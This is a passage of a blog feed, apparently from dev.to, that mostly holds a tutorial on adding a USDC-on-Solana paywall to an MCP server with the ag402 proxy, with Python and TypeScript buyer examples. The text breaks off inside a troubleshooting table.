&lt;li&gt;GitHub: &lt;a href="https://github.com/AetherCore-Dev/token-rugcheck" rel="noopener noreferrer"&gt;AetherCore-Dev/token-rugcheck&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;Live API: &lt;a href="https://rugcheck.aethercore.dev" rel="noopener noreferrer"&gt;rugcheck.aethercore.dev&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;Glama: &lt;a href="https://glama.ai/mcp/servers/AetherCore-Dev/token-rugcheck" rel="noopener noreferrer"&gt;glama.ai/mcp/servers/AetherCore-Dev/token-rugcheck&lt;/a&gt;
&lt;/li&gt;
&lt;/ul&gt;




&lt;p&gt;&lt;em&gt;Disclaimer: Not financial advice. Automated token analysis has limitations — always do your own research.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>solana</category>
      <category>mcp</category>
      <category>crypto</category>
      <category>security</category>
    </item>
    <item>
      <title>Build a Paid MCP Server in 5 Minutes (Full Tutorial)</title>
      <dc:creator>0xAllenDev</dc:creator>
      <pubDate>Tue, 10 Mar 2026 13:49:48 +0000</pubDate>
      <link>https://dev.to/0xallendev/build-a-paid-mcp-server-in-5-minutes-full-tutorial-1mi5</link>
      <guid>https://dev.to/0xallendev/build-a-paid-mcp-server-in-5-minutes-full-tutorial-1mi5</guid>
      <description>&lt;h1&gt;
  
  
  Build a Paid MCP Server in 5 Minutes (Full Tutorial)
&lt;/h1&gt;

&lt;p&gt;&lt;em&gt;From zero to earning USDC — a complete walkthrough with working code.&lt;/em&gt;&lt;/p&gt;




&lt;p&gt;You have an MCP server. It works. Now make it pay you.&lt;/p&gt;

&lt;p&gt;This tutorial takes you from &lt;code&gt;pip install&lt;/code&gt; to a working paid MCP server in under 5 minutes. We'll build a weather service, put a USDC paywall on it, and test the full buyer-seller flow.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;No prior crypto experience needed.&lt;/strong&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  What You'll Need
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Python 3.10+&lt;/li&gt;
&lt;li&gt;Two terminal windows&lt;/li&gt;
&lt;li&gt;5 minutes
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;python3 &lt;span class="nt"&gt;--version&lt;/span&gt;
&lt;span class="c"&gt;# Python 3.10.x or higher ✓&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  Step 1: Install (30 seconds)
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;pip &lt;span class="nb"&gt;install &lt;/span&gt;ag402-core fastmcp
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Verify:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;ag402 &lt;span class="nt"&gt;--version&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This installs the &lt;code&gt;ag402&lt;/code&gt; CLI (wallet management + reverse proxy), the &lt;code&gt;ag402_core&lt;/code&gt; Python SDK (buyer-side auto-payment), and &lt;code&gt;fastmcp&lt;/code&gt; (for our demo server).&lt;/p&gt;




&lt;h2&gt;
  
  
  Step 2: Create Your Wallet (30 seconds)
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;ag402 init
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This generates a Solana keypair and loads it with test USDC for development. Wallet details are stored encrypted at &lt;code&gt;~/.ag402/wallet.json&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Save your wallet address&lt;/strong&gt; — you'll need it in Step 4.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;In test mode, ag402 mints devnet USDC so you can experiment for free. For production, set &lt;code&gt;X402_MODE=production&lt;/code&gt; and fund with real USDC.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  Step 3: Build a Simple MCP Server (2 minutes)
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;mkdir &lt;/span&gt;my-paid-mcp &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="nb"&gt;cd &lt;/span&gt;my-paid-mcp
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Create &lt;code&gt;weather_server.py&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;fastmcp&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;FastMCP&lt;/span&gt;

&lt;span class="n"&gt;mcp&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nc"&gt;FastMCP&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Weather Service&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="n"&gt;WEATHER_DATA&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;san francisco&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;temp_c&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;18&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;condition&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;foggy&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;humidity&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;75&lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;
    &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;new york&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;      &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;temp_c&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;22&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;condition&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;sunny&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;humidity&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;45&lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;
    &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;tokyo&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;         &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;temp_c&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;25&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;condition&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;cloudy&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;humidity&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;60&lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;
    &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;london&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;        &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;temp_c&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;15&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;condition&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;rainy&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;humidity&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;82&lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="nd"&gt;@mcp.tool&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;get_weather&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;city&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="nb"&gt;dict&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="sh"&gt;"""&lt;/span&gt;&lt;span class="s"&gt;Get current weather for a city.&lt;/span&gt;&lt;span class="sh"&gt;"""&lt;/span&gt;
    &lt;span class="n"&gt;data&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;WEATHER_DATA&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;city&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;lower&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;error&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;No data for &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;city&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;city&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;city&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;**&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;__name__&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;__main__&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="c1"&gt;# Use HTTP transport so ag402 can proxy requests
&lt;/span&gt;    &lt;span class="n"&gt;mcp&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;run&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;transport&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;streamable-http&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;port&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;3000&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Start in &lt;strong&gt;Terminal 1&lt;/strong&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;python weather_server.py
&lt;span class="c"&gt;# Server running on http://localhost:3000&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Why not &lt;code&gt;stdio&lt;/code&gt;?&lt;/strong&gt; ag402's reverse proxy needs an HTTP endpoint to sit in front of. The &lt;code&gt;stdio&lt;/code&gt; transport communicates via stdin/stdout, which can't be proxied. &lt;code&gt;streamable-http&lt;/code&gt; exposes your MCP server as a standard HTTP service. If your MCP server already runs on HTTP (e.g., behind Flask or FastAPI), skip this step and point ag402 at your existing endpoint.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  Step 4: Add the Paywall (30 seconds)
&lt;/h2&gt;

&lt;p&gt;Open &lt;strong&gt;Terminal 2&lt;/strong&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;ag402 serve &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--target&lt;/span&gt; http://localhost:3000 &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--price&lt;/span&gt; 0.02 &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--address&lt;/span&gt; &amp;lt;YOUR_WALLET_ADDRESS&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;┌─────────────────────────────────────┐
│  🚀 ag402 Payment Proxy            │
│  ─────────────────────────────────  │
│  🎯 Target:  http://localhost:3000  │
│  💵 Price:   0.02 USDC/request     │
│  🔗 Proxy:   http://localhost:4020  │
└─────────────────────────────────────┘
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Done.&lt;/strong&gt; Here's what happens on each request:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Agent → :4020 → payment header? ─── No ──→ 402 + price/wallet info
                    │                          ↑
                   Yes                    Agent auto-pays
                    │                     USDC on Solana
                    ▼                          │
              Verify on-chain ←────────────────┘
                    │
                    ▼
         Forward to :3000 (your MCP)
                    │
                    ▼
              Response ✓
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Your MCP code: &lt;strong&gt;zero changes.&lt;/strong&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  Step 5: Test as a Buyer (1 minute)
&lt;/h2&gt;

&lt;p&gt;Create &lt;code&gt;test_buyer.py&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;ag402_core&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;httpx&lt;/span&gt;

&lt;span class="c1"&gt;# One line — patches httpx/requests to auto-pay 402s
&lt;/span&gt;&lt;span class="n"&gt;ag402_core&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;enable&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;

&lt;span class="n"&gt;response&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;httpx&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;post&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;http://localhost:4020/mcp&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="n"&gt;json&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;jsonrpc&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;2.0&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;id&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;method&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;tools/call&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;params&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;name&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;get_weather&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
            &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;arguments&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;city&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Tokyo&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
        &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;response&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;json&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;python test_buyer.py
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Behind the scenes: httpx hits proxy → gets 402 → &lt;code&gt;ag402_core&lt;/code&gt; intercepts → auto-pays $0.02 USDC (~0.5s) → retries with proof → weather data ✓&lt;/p&gt;

&lt;p&gt;The buyer code has &lt;strong&gt;zero payment logic&lt;/strong&gt;. Even simpler — wrap any existing script:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;ag402 run &lt;span class="nt"&gt;--&lt;/span&gt; python my_existing_agent.py
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  Bonus: Prepaid Mode (~1ms)
&lt;/h2&gt;

&lt;p&gt;Standard payments take ~0.5s. ag402's prepaid system drops that to &lt;strong&gt;~1ms&lt;/strong&gt; with zero gas:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;One Solana tx → buy N credits → HMAC credential
Each call → credential header → local verify → ~1ms, $0 gas
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Package&lt;/th&gt;
&lt;th&gt;Credits&lt;/th&gt;
&lt;th&gt;Price&lt;/th&gt;
&lt;th&gt;Per call&lt;/th&gt;
&lt;th&gt;Validity&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Starter&lt;/td&gt;
&lt;td&gt;100&lt;/td&gt;
&lt;td&gt;$1.50&lt;/td&gt;
&lt;td&gt;$0.015&lt;/td&gt;
&lt;td&gt;3 days&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Basic&lt;/td&gt;
&lt;td&gt;500&lt;/td&gt;
&lt;td&gt;$5.00&lt;/td&gt;
&lt;td&gt;$0.010&lt;/td&gt;
&lt;td&gt;7 days&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Pro&lt;/td&gt;
&lt;td&gt;1,000&lt;/td&gt;
&lt;td&gt;$8.00&lt;/td&gt;
&lt;td&gt;$0.008&lt;/td&gt;
&lt;td&gt;30 days&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Business&lt;/td&gt;
&lt;td&gt;5,000&lt;/td&gt;
&lt;td&gt;$35.00&lt;/td&gt;
&lt;td&gt;$0.007&lt;/td&gt;
&lt;td&gt;365 days&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Enterprise&lt;/td&gt;
&lt;td&gt;10,000&lt;/td&gt;
&lt;td&gt;$60.00&lt;/td&gt;
&lt;td&gt;$0.006&lt;/td&gt;
&lt;td&gt;730 days&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;HMAC-SHA256 verified locally — no blockchain calls after the initial purchase. (&lt;a href="//./blog-charged-agents.md#1-latency"&gt;How prepaid works under the hood&lt;/a&gt;)&lt;/p&gt;




&lt;h2&gt;
  
  
  Bonus: Production
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Mainnet:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nv"&gt;X402_MODE&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;production ag402 serve &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--target&lt;/span&gt; http://your-server:3000 &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--price&lt;/span&gt; 0.02 &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--address&lt;/span&gt; &amp;lt;YourMainnetAddress&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Claude Code / Cursor:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;ag402 &lt;span class="nb"&gt;install &lt;/span&gt;claude-code   &lt;span class="c"&gt;# or: ag402 install cursor&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  TypeScript Support
&lt;/h3&gt;

&lt;p&gt;Not using Python? ag402 also ships a TypeScript SDK:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;npm &lt;span class="nb"&gt;install&lt;/span&gt; @ag402/fetch
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;createX402Fetch&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;InMemoryWallet&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;@ag402/fetch&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;apiFetch&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;createX402Fetch&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;
  &lt;span class="na"&gt;wallet&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;InMemoryWallet&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;100&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
&lt;span class="p"&gt;});&lt;/span&gt;

&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;res&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nf"&gt;apiFetch&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;https://your-api.com/endpoint&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  Troubleshooting
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Problem&lt;/th&gt;
&lt;th&gt;Fix&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;code&gt;ag402 init&lt;/code&gt; fails&lt;/td&gt;
&lt;td&gt;Ensure Python 3.10+ and pip is current&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Proxy can't reach target&lt;/td&gt;
&lt;td&gt;Confirm MCP server is running on the correct port&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Payment not going through&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;ag402 init&lt;/code&gt; provides test USDC — run again if needed&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;402 but no auto-pay&lt;/td&gt;
&lt;td&gt;
